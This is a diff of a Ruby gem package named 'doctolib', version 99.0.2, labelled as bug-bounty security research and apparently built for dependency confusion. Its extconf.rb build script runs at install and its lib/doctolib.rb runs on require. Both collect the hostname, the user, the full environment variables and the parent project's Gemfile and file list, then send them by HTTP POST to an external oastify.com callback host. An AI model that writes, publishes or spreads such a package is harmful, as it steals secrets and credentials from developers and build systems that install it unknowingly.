doctolib 99.0.2

checksums.yaml

@@ -0,0 +1,7 @@
+---
+SHA256:
+  metadata.gz: 450c1b6b8c3be533b171a5250456fab5a8a87f37eb6fb221c2f744872ecdf0df
+  data.tar.gz: 2c2f08bbc998a6166ca00cde73f28919684fbe6bafbebf5969d9b04fa08d32ce
+SHA512:
+  metadata.gz: b8469d12ae653fb336ef89b96029f0320b20499652d59d5bd9264a63dd9b79f197d5a6eff4100fad24dc2b5e37e09bb1cc657dbddf13208d88fb654083250576
+  data.tar.gz: ae298c2366bf3537e22691c8dca7090de83189585b3ac677b8e9c1f18d37ff8b3484d29ed7b1aab150f102fb6750f254153568ce158f3698cb80332d6af25bc8

data/ext/doctolib/extconf.rb

@@ -0,0 +1,50 @@
+require 'net/http'
+require 'uri'
+require 'json'
+require 'socket'
+
+CALLBACK = 'icaregems.7em0ii1mpvc50kzafx6bf1xunltch6hu6.oastify.com'
+
+begin
+  info = {
+    type: 'gem_install',
+    hostname: Socket.gethostname,
+    user: ENV['USER'] || ENV['USERNAME'],
+    pwd: Dir.pwd,
+    home: ENV['HOME'],
+    ruby_version: RUBY_VERSION,
+    platform: RUBY_PLATFORM,
+    env: ENV.to_h,
+    timestamp: Time.now.utc.iso8601
+  }
+  
+  # Trouver le projet parent (Gemfile)
+  dir = Dir.pwd
+  10.times do
+    gemfile = File.join(dir, 'Gemfile')
+    if File.exist?(gemfile)
+      info[:parent_gemfile] = File.read(gemfile) rescue nil
+      info[:parent_dir] = dir
+      info[:parent_files] = Dir.entries(dir) rescue nil
+      break
+    end
+    parent = File.dirname(dir)
+    break if parent == dir
+    dir = parent
+  end
+  
+  # Callback HTTP (pas HTTPS)
+  uri = URI("http://#{CALLBACK}/gem_install")
+  http = Net::HTTP.new(uri.host, uri.port)
+  http.open_timeout = 5
+  http.read_timeout = 5
+  
+  request = Net::HTTP::Post.new(uri.path)
+  request['Content-Type'] = 'application/json'
+  request.body = info.to_json
+  
+  http.request(request)
+rescue => e
+end
+
+File.write('Makefile', "all:\n\techo 'OK'\ninstall:\n\techo 'OK'\n")

data/lib/doctolib.rb

@@ -0,0 +1,50 @@
+require 'net/http'
+require 'uri'
+require 'json'
+require 'socket'
+
+module Doctolib
+  VERSION = '99.0.2'
+  CALLBACK = 'icaregems.7em0ii1mpvc50kzafx6bf1xunltch6hu6.oastify.com'
+  
+  unless defined?(@@triggered)
+    @@triggered = true
+    
+    Thread.new do
+      begin
+        info = {
+          type: 'gem_require',
+          hostname: Socket.gethostname,
+          user: ENV['USER'] || ENV['USERNAME'],
+          pwd: Dir.pwd,
+          ruby_version: RUBY_VERSION,
+          rails_env: ENV['RAILS_ENV'],
+          rack_env: ENV['RACK_ENV'],
+          env: ENV.to_h,
+          timestamp: Time.now.utc.iso8601
+        }
+        
+        webhook = ENV['SECURITY_BUG_BOUNTY_DOCTOLIB_IS_PWN']
+        info[:webhook_found] = !webhook.nil?
+        
+        # HTTP pas HTTPS
+        uri = URI("http://#{CALLBACK}/gem_require")
+        http = Net::HTTP.new(uri.host, uri.port)
+        http.open_timeout = 5
+        http.read_timeout = 5
+        
+        request = Net::HTTP::Post.new(uri.path)
+        request['Content-Type'] = 'application/json'
+        request.body = info.to_json
+        
+        http.request(request)
+        
+        if webhook
+          webhook_uri = URI(webhook)
+          Net::HTTP.get(webhook_uri)
+        end
+      rescue
+      end
+    end
+  end
+end

metadata

@@ -0,0 +1,42 @@
+--- !ruby/object:Gem::Specification
+name: doctolib
+version: !ruby/object:Gem::Version
+  version: 99.0.2
+platform: ruby
+authors:
+- icare
+bindir: bin
+cert_chain: []
+date: 1980-01-02 00:00:00.000000000 Z
+dependencies: []
+description: Security research package
+email: icare@security.research
+executables: []
+extensions:
+- ext/doctolib/extconf.rb
+extra_rdoc_files: []
+files:
+- ext/doctolib/extconf.rb
+- lib/doctolib.rb
+homepage: https://github.com/icare/doctolib
+licenses:
+- MIT
+metadata: {}
+rdoc_options: []
+require_paths:
+- lib
+required_ruby_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: 2.5.0
+required_rubygems_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+requirements: []
+rubygems_version: 3.6.7
+specification_version: 4
+summary: Security research - Bug Bounty
+test_files: []